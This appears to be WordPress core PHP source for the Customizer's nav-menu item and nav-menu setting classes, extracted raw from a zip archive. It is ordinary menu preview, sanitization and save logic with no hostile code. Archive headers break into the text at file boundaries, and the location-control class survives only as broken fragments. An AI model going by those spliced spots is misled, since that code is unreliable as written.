{@see 'customize_save_response'}. * * When status is inserted, the placeholder post ID is stored in $previous_post_id. * When status is error, the error is stored in $update_error. * * @since 4.3.0 * @var string updated|inserted|deleted|error * * @see WP_Customize_Nav_Menu_Item_Setting::update() * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response() */ public $update_status; /** * Any error object returned by wp_update_nav_menu_item() when setting is updated. * * @since 4.3.0 * @var WP_Error * * @see WP_Customize_Nav_Menu_Item_Setting::update() * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response() */ public $update_error; /** * Constructor. * * Any supplied $args override class property defaults. * * @since 4.3.0 * * @throws Exception If $id is not valid for this setting type. * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id A specific ID of the setting. * Can be a theme mod or option name. * @param array $args Optional. Setting arguments. */ public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) { if ( empty( $manager->nav_menus ) ) { throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' ); } if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) { throw new Exception( "Illegal widget setting ID: $id" ); } $this->post_id = (int) $matches['id']; add_action( 'wp_update_nav_menu_item', array( $this, 'flush_cached_value' ), 10, 2 ); parent::__construct( $manager, $id, $args ); // Ensure that an initially-supplied value is valid. if ( isset( $this->value ) ) { $this->populate_value(); foreach ( array_diff( array_keys( $this->default ), array_keys( $this->value ) ) as $missing ) { throw new Exception( "Supplied nav_menu_item value missing property: $missing" ); } } } /** * Clear the cached value when this nav menu item is updated. * * @since 4.3.0 * * @param int $menu_id The term ID for the menu. * @param int $menu_item_id The post ID for the menu item. */ public function flush_cached_value( $menu_id, $menu_item_id ) { unset( $menu_id ); if ( $menu_item_id === $this->post_id ) { $this->value = null; } } /** * Get the instance data for a given nav_menu_item setting. * * @since 4.3.0 * * @see wp_setup_nav_menu_item() * * @return array|false Instance data array, or false if the item is marked for deletion. */ public function value() { $type_label = null; if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) { $undefined = new stdClass(); // Symbol. $post_value = $this->post_value( $undefined ); if ( $undefined === $post_value ) { $value = $this->_original_value; } else { $value = $post_value; } } elseif ( isset( $this->value ) ) { $value = $this->value; } else { $value = false; // Note that an ID of less than one indicates a nav_menu not yet inserted. if ( $this->post_id > 0 ) { $post = get_post( $this->post_id ); if ( $post && self::POST_TYPE === $post->post_type ) { $is_title_empty = empty( $post->post_title ); $value = (array) wp_setup_nav_menu_item( $post ); if ( isset( $value['type_label'] ) ) { $type_label = $value['type_label']; } if ( $is_title_empty ) { $value['title'] = ''; } } } if ( ! is_array( $value ) ) { $value = $this->default; } // Cache the value for future calls to avoid having to re-call wp_setup_nav_menu_item(). $this->value = $value; $this->populate_value(); $value = $this->value; } // These properties are read-only and are part of the setting for use in the Customizer UI. if ( is_array( $value ) ) { $value_obj = (object) $value; $value['type_label'] = isset( $type_label ) ? $type_label : $this->get_type_label( $value_obj ); $value['original_title'] = $this->get_original_title( $value_obj ); } return $value; } /** * Prepares the value for editing on the client. * * @since 6.8.3 * * @return array|false Value prepared for the client. */ public function js_value() { $value = parent::js_value(); if ( is_array( $value ) && isset( $value['original_title'] ) ) { // Decode entities for the sake of displaying the original title as a placeholder. $value['original_title'] = html_entity_decode( $value['original_title'], ENT_QUOTES, get_bloginfo( 'charset' ) ); } return $value; } /** * Get original title. * * @since 4.7.0 * * @param object $item Nav menu item. * @return string The original title, without entity decoding. */ protected function get_original_title( $item ) { $original_title = ''; if ( 'post_type' === $item->type && ! empty( $item->object_id ) ) { $original_object = get_post( $item->object_id ); if ( $original_object ) { /** This filter is documented in wp-includes/post-template.php */ $original_title = apply_filters( 'the_title', $original_object->post_title, $original_object->ID ); if ( '' === $original_title ) { /* translators: %d: ID of a post. */ $original_title = sprintf( __( '#%d (no title)' ), $original_object->ID ); } } } elseif ( 'taxonomy' === $item->type && ! empty( $item->object_id ) ) { $original_term_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' ); if ( ! is_wp_error( $original_term_title ) ) { $original_title = $original_term_title; } } elseif ( 'post_type_archive' === $item->type ) { $original_object = get_post_type_object( $item->object ); if ( $original_object ) { $original_title = $original_object->labels->archives; } } return $original_title; } /** * Get type label. * * @since 4.7.0 * * @param object $item Nav menu item. * @return string The type label. */ protected function get_type_label( $item ) { if ( 'post_type' === $item->type ) { $object = get_post_type_object( $item->object ); if ( $object ) { $type_label = $object->labels->singular_name; } else { $type_label = $item->object; } } elseif ( 'taxonomy' === $item->type ) { $object = get_taxonomy( $item->object ); if ( $object ) { $type_label = $object->labels->singular_name; } else { $type_label = $item->object; } } elseif ( 'post_type_archive' === $item->type ) { $type_label = __( 'Post Type Archive' ); } else { $type_label = __( 'Custom Link' ); } return $type_label; } /** * Ensure that the value is fully populated with the necessary properties. * * Translates some properties added by wp_setup_nav_menu_item() and removes others. * * @since 4.3.0 * * @see WP_Customize_Nav_Menu_Item_Setting::value() */ protected function populate_value() { if ( ! is_array( $this->value ) ) { return; } if ( isset( $this->value['menu_order'] ) ) { $this->value['position'] = $this->value['menu_order']; unset( $this->value['menu_order'] ); } if ( isset( $this->value['post_status'] ) ) { $this->value['status'] = $this->value['post_status']; unset( $this->value['post_status'] ); } if ( ! isset( $this->value['nav_menu_term_id'] ) && $this->post_id > 0 ) { $menus = wp_get_post_terms( $this->post_id, WP_Customize_Nav_Menu_Setting::TAXONOMY, array( 'fields' => 'ids', ) ); if ( ! empty( $menus ) ) { $this->value['nav_menu_term_id'] = array_shift( $menus ); } else { $this->value['nav_menu_term_id'] = 0; } } foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) { if ( ! is_int( $this->value[ $key ] ) ) { $this->value[ $key ] = (int) $this->value[ $key ]; } } foreach ( array( 'classes', 'xfn' ) as $key ) { if ( is_array( $this->value[ $key ] ) ) { $this->value[ $key ] = implode( ' ', $this->value[ $key ] ); } } if ( ! isset( $this->value['title'] ) ) { $this->value['title'] = ''; } if ( ! isset( $this->value['_invalid'] ) ) { $this->value['_invalid'] = false; $is_known_invalid = ( ( ( 'post_type' === $this->value['type'] || 'post_type_archive' === $this->value['type'] ) && ! post_type_exists( $this->value['object'] ) ) || ( 'taxonomy' === $this->value['type'] && ! taxonomy_exists( $this->value['object'] ) ) ); if ( $is_known_invalid ) { $this->value['_invalid'] = true; } } // Remove remaining properties available on a setup nav_menu_item post object which aren't relevant to the setting value. $irrelevant_properties = array( 'ID', 'comment_count', 'comment_status', 'db_id', 'filter', 'guid', 'ping_status', 'pinged', 'post_author', 'post_content', 'post_content_filtered', 'post_date', 'post_date_gmt', 'post_excerpt', 'post_mime_type', 'post_modified', 'post_modified_gmt', 'post_name', 'post_parent', 'post_password', 'post_title', 'post_type', 'to_ping', ); foreach ( $irrelevant_properties as $property ) { unset( $this->value[ $property ] ); } } /** * Handle previewing the setting. * * @since 4.3.0 * @since 4.4.0 Added boolean return value. * * @see WP_Customize_Manager::post_value() * * @return bool False if method short-circuited due to no-op. */ public function preview() { if ( $this->is_previewed ) { return false; } $undefined = new stdClass(); $is_placeholder = ( $this->post_id < 0 ); $is_dirty = ( $undefined !== $this->post_value( $undefined ) ); if ( ! $is_placeholder && ! $is_dirty ) { return false; } $this->is_previewed = true; $this->_original_value = $this->value(); $this->original_nav_menu_term_id = $this->_original_value['nav_menu_term_id']; $this->_previewed_blog_id = get_current_blog_id(); add_filter( 'wp_get_nav_menu_items', array( $this, 'filter_wp_get_nav_menu_items' ), 10, 3 ); $sort_callback = array( __CLASS__, 'sort_wp_get_nav_menu_items' ); if ( ! has_filter( 'wp_get_nav_menu_items', $sort_callback ) ) { add_filter( 'wp_get_nav_menu_items', array( __CLASS__, 'sort_wp_get_nav_menu_items' ), 1000, 3 ); } // @todo Add get_post_metadata filters for plugins to add their data. return true; } /** * Filters the wp_get_nav_menu_items() result to supply the previewed menu items. * * @since 4.3.0 * * @see wp_get_nav_menu_items() * * @param WP_Post[] $items An array of menu item post objects. * @param WP_Term $menu The menu object. * @param array $args An array of arguments used to retrieve menu item objects. * @return WP_Post[] Array of menu item objects. */ public function filter_wp_get_nav_menu_items( $items, $menu, $args ) { $this_item = $this->value(); $current_nav_menu_term_id = null; if ( isset( $this_item['nav_menu_term_id'] ) ) { $current_nav_menu_term_id = $this_item['nav_menu_term_id']; unset( $this_item['nav_menu_term_id'] ); } $should_filter = ( $menu->term_id === $this->original_nav_menu_term_id || $menu->term_id === $current_nav_menu_term_id ); if ( ! $should_filter ) { return $items; } // Handle deleted menu item, or menu item moved to another menu. $should_remove = ( false === $this_item || ( isset( $this_item['_invalid'] ) && true === $this_item['_invalid'] ) || ( $this->original_nav_menu_term_id === $menu->term_id && $current_nav_menu_term_id !== $this->original_nav_menu_term_id ) ); if ( $should_remove ) { $filtered_items = array(); foreach ( $items as $item ) { if ( $item->db_id !== $this->post_id ) { $filtered_items[] = $item; } } return $filtered_items; } $mutated = false; $should_update = ( is_array( $this_item ) && $current_nav_menu_term_id === $menu->term_id ); if ( $should_update ) { foreach ( $items as $item ) { if ( $item->db_id === $this->post_id ) { foreach ( get_object_vars( $this->value_as_wp_post_nav_menu_item() ) as $key => $value ) { $item->$key = $value; } $mutated = true; } } // Not found so we have to append it.. if ( ! $mutated ) { $items[] = $this->value_as_wp_post_nav_menu_item(); } } return $items; } /** * Re-apply the tail logic also applied on $items by wp_get_nav_menu_items(). * * @since 4.3.0 * * @see wp_get_nav_menu_items() * * @param WP_Post[] $items An array of menu item post objects. * @param WP_Term $menu The menu object. * @param array $args An array of arguments used to retrieve menu item objects. * @return WP_Post[] Array of menu item objects. */ public static function sort_wp_get_nav_menu_items( $items, $menu, $args ) { // @todo We should probably re-apply some constraints imposed by $args. unset( $args['include'] ); // Remove invalid items only in front end. if ( ! is_admin() ) { $items = array_filter( $items, '_is_valid_nav_menu_item' ); } if ( ARRAY_A === $args['output'] ) { $items = wp_list_sort( $items, array( $args['output_key'] => 'ASC', ) ); $i = 1; foreach ( $items as $k => $item ) { $items[ $k ]->{$args['output_key']} = $i++; } } return $items; } /** * Get the value emulated into a WP_Post and set up as a nav_menu_item. * * @since 4.3.0 * * @return WP_Post With wp_setup_nav_menu_item() applied. */ public function value_as_wp_post_nav_menu_item() { $item = (object) $this->value(); unset( $item->nav_menu_term_id ); $item->post_status = $item->status; unset( $item->status ); $item->post_type = 'nav_menu_item'; $item->menu_order = $item->position; unset( $item->position ); if ( empty( $item->title ) && ! empty( $item->original_title ) ) { $item->title = $item->original_title; // This is NOT entity-decoded. It comes from self::get_original_title(). } if ( $item->title ) { $item->post_title = $item->title; } // 'classes' should be an array, as in wp_setup_nav_menu_item(). if ( isset( $item->classes ) && is_scalar( $item->classes ) ) { $item->classes = explode( ' ', $item->classes ); } $item->ID = $this->post_id; $item->db_id = $this->post_id; $post = new WP_Post( (object) $item ); if ( empty( $post->post_author ) ) { $post->post_author = get_current_user_id(); } if ( ! isset( $post->type_label ) ) { $post->type_label = $this->get_type_label( $post ); } // Ensure nav menu item URL is set according to linked object. if ( 'post_type' === $post->type && ! empty( $post->object_id ) ) { $post->url = get_permalink( $post->object_id ); } elseif ( 'taxonomy' === $post->type && ! empty( $post->object ) && ! empty( $post->object_id ) ) { $post->url = get_term_link( (int) $post->object_id, $post->object ); } elseif ( 'post_type_archive' === $post->type && ! empty( $post->object ) ) { $post->url = get_post_type_archive_link( $post->object ); } if ( is_wp_error( $post->url ) ) { $post->url = ''; } /** This filter is documented in wp-includes/nav-menu.php */ $post->attr_title = apply_filters( 'nav_menu_attr_title', $post->attr_title ); /** This filter is documented in wp-includes/nav-menu.php */ $post->description = apply_filters( 'nav_menu_description', wp_trim_words( $post->description, 200 ) ); /** This filter is documented in wp-includes/nav-menu.php */ $post = apply_filters( 'wp_setup_nav_menu_item', $post ); return $post; } /** * Sanitize an input. * * Note that parent::sanitize() erroneously does wp_unslash() on $value, but * we remove that in this override. * * @since 4.3.0 * @since 5.9.0 Renamed `$menu_item_value` to `$value` for PHP 8 named parameter support. * * @param array|false $value The menu item value to sanitize. * @return array|false|null|WP_Error Null or WP_Error if an input isn't valid. False if it is marked for deletion. * Otherwise the sanitized value. */ public function sanitize( $value ) { // Restores the more descriptive, specific name for use within this method. $menu_item_value = $value; // Menu is marked for deletion. if ( false === $menu_item_value ) { return $menu_item_value; } // Invalid. if ( ! is_array( $menu_item_value ) ) { return null; } $default = array( 'object_id' => 0, 'object' => '', 'menu_item_parent' => 0, 'position' => 0, 'type' => 'custom', 'title' => '', 'url' => '', 'target' => '', 'attr_title' => '', 'description' => '', 'classes' => '', 'xfn' => '', 'status' => 'publish', 'original_title' => '', 'nav_menu_term_id' => 0, '_invalid' => false, ); $menu_item_value = array_merge( $default, $menu_item_value ); $menu_item_value = wp_array_slice_assoc( $menu_item_value, array_keys( $default ) ); $menu_item_value['position'] = (int) $menu_item_value['position']; foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) { // Note we need to allow negative-integer IDs for previewed objects not inserted yet. $menu_item_value[ $key ] = (int) $menu_item_value[ $key ]; } foreach ( array( 'type', 'object', 'target' ) as $key ) { $menu_item_value[ $key ] = sanitize_key( $menu_item_value[ $key ] ); } foreach ( array( 'xfn', 'classes' ) as $key ) { $value = $menu_item_value[ $key ]; if ( ! is_array( $value ) ) { $value = explode( ' ', $value ); } $menu_item_value[ $key ] = implode( ' ', array_map( 'sanitize_html_class', $value ) ); } // Apply the same filters as when calling wp_insert_post(). /** This filter is documented in wp-includes/post.php */ $menu_item_value['title'] = wp_unslash( apply_filters( 'title_save_pre', wp_slash( $menu_item_value['title'] ) ) ); /** This filter is documented in wp-includes/post.php */ $menu_item_value['attr_title'] = wp_unslash( apply_filters( 'excerpt_save_pre', wp_slash( $menu_item_value['attr_title'] ) ) ); /** This filter is documented in wp-includes/post.php */ $menu_item_value['description'] = wp_unslash( apply_filters( 'content_save_pre', wp_slash( $menu_item_value['description'] ) ) ); if ( '' !== $menu_item_value['url'] ) { $menu_item_value['url'] = sanitize_url( $menu_item_value['url'] ); if ( '' === $menu_item_value['url'] ) { return new WP_Error( 'invalid_url', __( 'Invalid URL.' ) ); // Fail sanitization if URL is invalid. } } if ( 'publish' !== $menu_item_value['status'] ) { $menu_item_value['status'] = 'draft'; } $menu_item_value['_invalid'] = (bool) $menu_item_value['_invalid']; /** This filter is documented in wp-includes/class-wp-customize-setting.php */ return apply_filters( "customize_sanitize_{$this->id}", $menu_item_value, $this ); } /** * Creates/updates the nav_menu_item post for this setting. * * Any created menu items will have their assigned post IDs exported to the client * via the {@see 'customize_save_response'} filter. Likewise, any errors will be * exported to the client via the customize_save_response() filter. * * To delete a menu, the client can send false as the value. * * @since 4.3.0 * * @see wp_update_nav_menu_item() * * @param array|false $value The menu item array to update. If false, then the menu item will be deleted * entirely. See WP_Customize_Nav_Menu_Item_Setting::$default for what the value * should consist of. * @return null|void */ protected function update( $value ) { if ( $this->is_updated ) { return; } $this->is_updated = true; $is_placeholder = ( $this->post_id < 0 ); $is_delete = ( false === $value ); // Update the cached value. $this->value = $value; add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) ); if ( $is_delete ) { // If the current setting post is a placeholder, a delete request is a no-op. if ( $is_placeholder ) { $this->update_status = 'deleted'; } else { $r = wp_delete_post( $this->post_id, true ); if ( false === $r ) { $this->update_error = new WP_Error( 'delete_failure' ); $this->update_status = 'error'; } else { $this->update_status = 'deleted'; } // @todo send back the IDs for all associated nav menu items deleted, so these settings (and controls) can be removed from Customizer? } } else { // Handle saving menu items for menus that are being newly-created. if ( $value['nav_menu_term_id'] < 0 ) { $nav_menu_setting_id = sprintf( 'nav_menu[%s]', $value['nav_menu_term_id'] ); $nav_menu_setting = $this->manager->get_setting( $nav_menu_setting_id ); if ( ! $nav_menu_setting || ! ( $nav_menu_setting instanceof WP_Customize_Nav_Menu_Setting ) ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'unexpected_nav_menu_setting' ); return; } if ( false === $nav_menu_setting->save() ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'nav_menu_setting_failure' ); return; } if ( (int) $value['nav_menu_term_id'] !== $nav_menu_setting->previous_term_id ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'unexpected_previous_term_id' ); return; } $value['nav_menu_term_id'] = $nav_menu_setting->term_id; } // Handle saving a nav menu item that is a child of a nav menu item being newly-created. if ( $value['menu_item_parent'] < 0 ) { $parent_nav_menu_item_setting_id = sprintf( 'nav_menu_item[%s]', $value['menu_item_parent'] ); $parent_nav_menu_item_setting = $this->manager->get_setting( $parent_nav_menu_item_setting_id ); if ( ! $parent_nav_menu_item_setting || ! ( $parent_nav_menu_item_setting instanceof WP_Customize_Nav_Menu_Item_Setting ) ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'unexpected_nav_menu_item_setting' ); return; } if ( false === $parent_nav_menu_item_setting->save() ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'nav_menu_item_setting_failure' ); return; } if ( (int) $value['menu_item_parent'] !== $parent_nav_menu_item_setting->previous_post_id ) { $this->update_status = 'error'; $this->update_error = new WP_Error( 'unexpected_previous_post_id' ); return; } $value['menu_item_parent'] = $parent_nav_menu_item_setting->post_id; } // Insert or update menu. $menu_item_data = array( 'menu-item-object-id' => $value['object_id'], 'menu-item-object' => $value['object'], 'menu-item-parent-id' => $value['menu_item_parent'], 'menu-item-position' => $value['position'], 'menu-item-type' => $value['type'], 'menu-item-title' => $value['title'], 'menu-item-url' => $value['url'], 'menu-item-description' => $value['description'], 'menu-item-attr-title' => $value['attr_title'], 'menu-item-target' => $value['target'], 'menu-item-classes' => $value['classes'], 'menu-item-xfn' => $value['xfn'], 'menu-item-status' => $value['status'], ); $r = wp_update_nav_menu_item( $value['nav_menu_term_id'], $is_placeholder ? 0 : $this->post_id, wp_slash( $menu_item_data ) ); if ( is_wp_error( $r ) ) { $this->update_status = 'error'; $this->update_error = $r; } else { if ( $is_placeholder ) { $this->previous_post_id = $this->post_id; $this->post_id = $r; $this->update_status = 'inserted'; } else { $this->update_status = 'updated'; } } } } /** * Export data for the JS client. * * @since 4.3.0 * * @see WP_Customize_Nav_Menu_Item_Setting::update() * * @param array $data Additional information passed back to the 'saved' event on `wp.customize`. * @return array Save response data. */ public function amend_customize_save_response( $data ) { if ( ! isset( $data['nav_menu_item_updates'] ) ) { $data['nav_menu_item_updates'] = array(); } $data['nav_menu_item_updates'][] = array( 'post_id' => $this->post_id, 'previous_post_id' => $this->previous_post_id, 'error' => $this->update_error ? $this->update_error->get_error_code() : null, 'status' => $this->update_status, ); return $data; } } PK%\0class-wp-customize-nav-menu-location-control.phpnu[json['locationId'] = $this->location_id; } /** * Render content just like a normal select control. * * @since 4.3.0 * @since 4.9.0 Added a button to create menus. */ public function render_content() { if ( empty( $this->choices ) ) { return; } $value_hidden_class = ''; $no_value_hidden_class = ''; if ( $this->value() ) { $value_hidden_class = ' hidden'; } else { $no_value_hidden_class = ' hidden'; } ?> <# var elementId; #> <# if ( data.description ) { #>

{{ data.description }}

<# } #> id ); return $exported; } } PK%\fII'class-wp-customize-nav-menu-setting.phpnu[-?\d+)\]$/'; const TAXONOMY = 'nav_menu'; const TYPE = 'nav_menu'; /** * Setting type. * * @since 4.3.0 * @var string */ public $type = self::TYPE; /** * Default setting value. * * @since 4.3.0 * @var array * * @see wp_get_nav_menu_object() */ public $default = array( 'name' => '', 'description' => '', 'parent' => 0, 'auto_add' => false, ); /** * Default transport. * * @since 4.3.0 * @var string */ public $transport = 'postMessage'; /** * The term ID represented by this setting instance. * * A negative value represents a placeholder ID for a new menu not yet saved. * * @since 4.3.0 * @var int */ public $term_id; /** * Previous (placeholder) term ID used before creating a new menu. * * This value will be exported to JS via the {@see 'customize_save_response'} filter * so that JavaScript can update the settings to refer to the newly-assigned * term ID. This value is always negative to indicate it does not refer to * a real term. * * @since 4.3.0 * @var int * * @see WP_Customize_Nav_Menu_Setting::update() * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ public $previous_term_id; /** * Whether or not update() was called. * * @since 4.3.0 * @var bool */ protected $is_updated = false; /** * Status for calling the update method, used in customize_save_response filter. * * See {@see 'customize_save_response'}. * * When status is inserted, the placeholder term ID is stored in `$previous_term_id`. * When status is error, the error is stored in `$update_error`. * * @since 4.3.0 * @var string updated|inserted|deleted|error * * @see WP_Customize_Nav_Menu_Setting::update() * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ public $update_status; /** * Any error object returned by wp_update_nav_menu_object() when setting is updated. * * @since 4.3.0 * @var WP_Error * * @see WP_Customize_Nav_Menu_Setting::update() * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ public $update_error; /** * Constructor. * * Any supplied $args override class property defaults. * * @since 4.3.0 * * @throws Exception If $id is not valid for this setting type. * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id A specific ID of the setting. * Can be a theme mod or option name. * @param array $args Optional. Setting arguments. */ public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) { if ( empty( $manager->nav_menus ) ) { throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' ); } if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) { throw new Exception( "Illegal widget setting ID: $id" ); } $this->term_id = (int) $matches['id']; parent::__construct( $manager, $id, $args ); } /** * Get the instance data for a given widget setting. * * @since 4.3.0 * * @see wp_get_nav_menu_object() * * @return array Instance data. */ public function value() { if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) { $undefined = new stdClass(); // Symbol. $post_value = $this->post_value( $undefined ); if ( $undefined === $post_value ) { $value = $this->_original_value; } else { $value = $post_value; } } else { $value = false; // Note that a term_id of less than one indicates a nav_menu not yet inserted. if ( $this->term_id > 0 ) { $term = wp_get_nav_menu_object( $this->term_id ); if ( $term ) { $value = wp_array_slice_assoc( (array) $term, array_keys( $this->default ) ); $nav_menu_options = (array) get_option( 'nav_menu_options', array() ); $value['auto_add'] = false; if ( isset( $nav_menu_options['auto_add'] ) && is_array( $nav_menu_options['auto_add'] ) ) { $value['auto_add'] = in_array( $term->term_id, $nav_menu_options['auto_add'], true ); } } } if ( ! is_array( $value ) ) { $value = $this->default; } } return $value; } /** * Handle previewing the setting. * * @since 4.3.0 * @since 4.4.0 Added boolean return value * * @see WP_Customize_Manager::post_value() * * @return bool False if method short-circuited due to no-op. */ public function preview() { if ( $this->is_previewed ) { return false; } $undefined = new stdClass(); $is_placeholder = ( $this->term_id < 0 ); $is_dirty = ( $undefined !== $this->post_value( $undefined ) ); if ( ! $is_placeholder && ! $is_dirty ) { return false; } $this->is_previewed = true; $this->_original_value = $this->value(); $this->_previewed_blog_id = get_current_blog_id(); add_filter( 'wp_get_nav_menus', array( $this, 'filter_wp_get_nav_menus' ), 10, 2 ); add_filter( 'wp_get_nav_menu_object', array( $this, 'filter_wp_get_nav_menu_object' ), 10, 2 ); add_filter( 'default_option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) ); add_filter( 'option_nav_menu_options', array( $this, 'filter_nav_menu_options' ) ); return true; } /** * Filters the wp_get_nav_menus() result to ensure the inserted menu object is included, and the deleted one is removed. * * @since 4.3.0 * * @see wp_get_nav_menus() * * @param WP_Term[] $menus An array of menu objects. * @param array $args An array of arguments used to retrieve menu objects. * @return WP_Term[] Array of menu objects. */ public function filter_wp_get_nav_menus( $menus, $args ) { if ( get_current_blog_id() !== $this->_previewed_blog_id ) { return $menus; } $setting_value = $this->value(); $is_delete = ( false === $setting_value ); $index = -1; // Find the existing menu item's position in the list. foreach ( $menus as $i => $menu ) { if ( (int) $this->term_id === (int) $menu->term_id || (int) $this->previous_term_id === (int) $menu->term_id ) { $index = $i; break; } } if ( $is_delete ) { // Handle deleted menu by removing it from the list. if ( -1 !== $index ) { array_splice( $menus, $index, 1 ); } } else { // Handle menus being updated or inserted. $menu_obj = (object) array_merge( array( 'term_id' => $this->term_id, 'term_taxonomy_id' => $this->term_id, 'slug' => sanitize_title( $setting_value['name'] ), 'count' => 0, 'term_group' => 0, 'taxonomy' => self::TAXONOMY, 'filter' => 'raw', ), $setting_value ); array_splice( $menus, $index, ( -1 === $index ? 0 : 1 ), array( $menu_obj ) ); } // Make sure the menu objects get re-sorted after an update/insert. if ( ! $is_delete && ! empty( $args['orderby'] ) ) { $menus = wp_list_sort( $menus, array( $args['orderby'] => 'ASC', ) ); } // @todo Add support for $args['hide_empty'] === true. return $menus; } /** * Temporary non-closure passing of orderby value to function. * * @since 4.3.0 * @var string * * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus() * @see WP_Customize_Nav_Menu_Setting::_sort_menus_by_orderby() */ protected $_current_menus_sort_orderby; /** * Sort menu objects by the class-supplied orderby property. * * This is a workaround for a lack of closures. * * @since 4.3.0 * @deprecated 4.7.0 Use wp_list_sort() * * @param object $menu1 * @param object $menu2 * @return int * * @see WP_Customize_Nav_Menu_Setting::filter_wp_get_nav_menus() */ protected function _sort_menus_by_orderby( $menu1, $menu2 ) { _deprecated_function( __METHOD__, '4.7.0', 'wp_list_sort' ); $key = $this->_current_menus_sort_orderby; return strcmp( $menu1->$key, $menu2->$key ); } /** * Filters the wp_get_nav_menu_object() result to supply the previewed menu object. * * Requesting a nav_menu object by anything but ID is not supported. * * @since 4.3.0 * * @see wp_get_nav_menu_object() * * @param object|null $menu_obj Object returned by wp_get_nav_menu_object(). * @param string $menu_id ID of the nav_menu term. Requests by slug or name will be ignored. * @return object|null */ public function filter_wp_get_nav_menu_object( $menu_obj, $menu_id ) { $ok = ( get_current_blog_id() === $this->_previewed_blog_id && is_int( $menu_id ) && $menu_id === $this->term_id ); if ( ! $ok ) { return $menu_obj; } $setting_value = $this->value(); // Handle deleted menus. if ( false === $setting_value ) { return false; } // Handle sanitization failure by preventing short-circuiting. if ( null === $setting_value ) { return $menu_obj; } $menu_obj = (object) array_merge( array( 'term_id' => $this->term_id, 'term_taxonomy_id' => $this->term_id, 'slug' => sanitize_title( $setting_value['name'] ), 'count' => 0, 'term_group' => 0, 'taxonomy' => self::TAXONOMY, 'filter' => 'raw', ), $setting_value ); return $menu_obj; } /** * Filters the nav_menu_options option to include this menu's auto_add preference. * * @since 4.3.0 * * @param array $nav_menu_options Nav menu options including auto_add. * @return array (Maybe) modified nav menu options. */ public function filter_nav_menu_options( $nav_menu_options ) { if ( get_current_blog_id() !== $this->_previewed_blog_id ) { return $nav_menu_options; } $menu = $this->value(); $nav_menu_options = $this->filter_nav_menu_options_value( $nav_menu_options, $this->term_id, false === $menu ? false : $menu['auto_add'] ); return $nav_menu_options; } /** * Sanitize an input. * * Note that parent::sanitize() erroneously does wp_unslash() on $value, but * we remove that in this override. * * @since 4.3.0 * * @param array $value The menu value to sanitize. * @return array|false|null Null if an input isn't valid. False if it is marked for deletion. * Otherwise the sanitized value. */ public function sanitize( $value ) { // Menu is marked for deletion. if ( false === $value ) { return $value; } // Invalid. if ( ! is_array( $value ) ) { return null; } $default = array( 'name' => '', 'description' => '', 'parent' => 0, 'auto_add' => false, ); $value = array_merge( $default, $value ); $value = wp_array_slice_assoc( $value, array_keys( $default ) ); $value['name'] = trim( esc_html( $value['name'] ) ); // This sanitization code is used in wp-admin/nav-menus.php. $value['description'] = sanitize_text_field( $value['description'] ); $value['parent'] = max( 0, (int) $value['parent'] ); $value['auto_add'] = ! empty( $value['auto_add'] ); if ( '' === $value['name'] ) { $value['name'] = _x( '(unnamed)', 'Missing menu name.' ); } /** This filter is documented in wp-includes/class-wp-customize-setting.php */ return apply_filters( "customize_sanitize_{$this->id}", $value, $this ); } /** * Storage for data to be sent back to client in customize_save_response filter. * * See {@see 'customize_save_response'}. * * @since 4.3.0 * @var array * * @see WP_Customize_Nav_Menu_Setting::amend_customize_save_response() */ protected $_widget_nav_menu_updates = array(); /** * Create/update the nav_menu term for this setting. * * Any created menus will have their assigned term IDs exported to the client * via the {@see 'customize_save_response'} filter. Likewise, any errors will be exported * to the client via the customize_save_response() filter. * * To delete a menu, the client can send false as the value. * * @since 4.3.0 * * @see wp_update_nav_menu_object() * * @param array|false $value { * The value to update. Note that slug cannot be updated via wp_update_nav_menu_object(). * If false, then the menu will be deleted entirely. * * @type string $name The name of the menu to save. * @type string $description The term description. Default empty string. * @type int $parent The id of the parent term. Default 0. * @type bool $auto_add Whether pages will auto_add to this menu. Default false. * } * @return null|void */ protected function update( $value ) { if ( $this->is_updated ) { return; } $this->is_updated = true; $is_placeholder = ( $this->term_id < 0 ); $is_delete = ( false === $value ); add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) ); $auto_add = null; if ( $is_delete ) { // If the current setting term is a placeholder, a delete request is a no-op. if ( $is_placeholder ) { $this->update_status = 'deleted'; } else { $r = wp_delete_nav_menu( $this->term_id ); if ( is_wp_error( $r ) ) { $this->update_status = 'error'; $this->update_error = $r; } else { $this->update_status = 'deleted'; $auto_add = false; } } } else { // Insert or update menu. $menu_data = wp_array_slice_assoc( $value, array( 'description', 'parent' ) ); $menu_data['menu-name'] = $value['name']; $menu_id = $is_placeholder ? 0 : $this->term_id; $r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) ); $original_name = $menu_data['menu-name']; $name_conflict_suffix = 1; while ( is_wp_error( $r ) && 'menu_exists' === $r->get_error_code() ) { $name_conflict_suffix += 1; /* translators: 1: Original menu name, 2: Duplicate count. */ $menu_data['menu-name'] = sprintf( __( '%1$s (%2$d)' ), $original_name, $name_conflict_suffix ); $r = wp_update_nav_menu_object( $menu_id, wp_slash( $menu_data ) ); } if ( is_wp_error( $r ) ) { $this->update_status = 'error'; $this->update_error = $r; } else { if ( $is_placeholder ) { 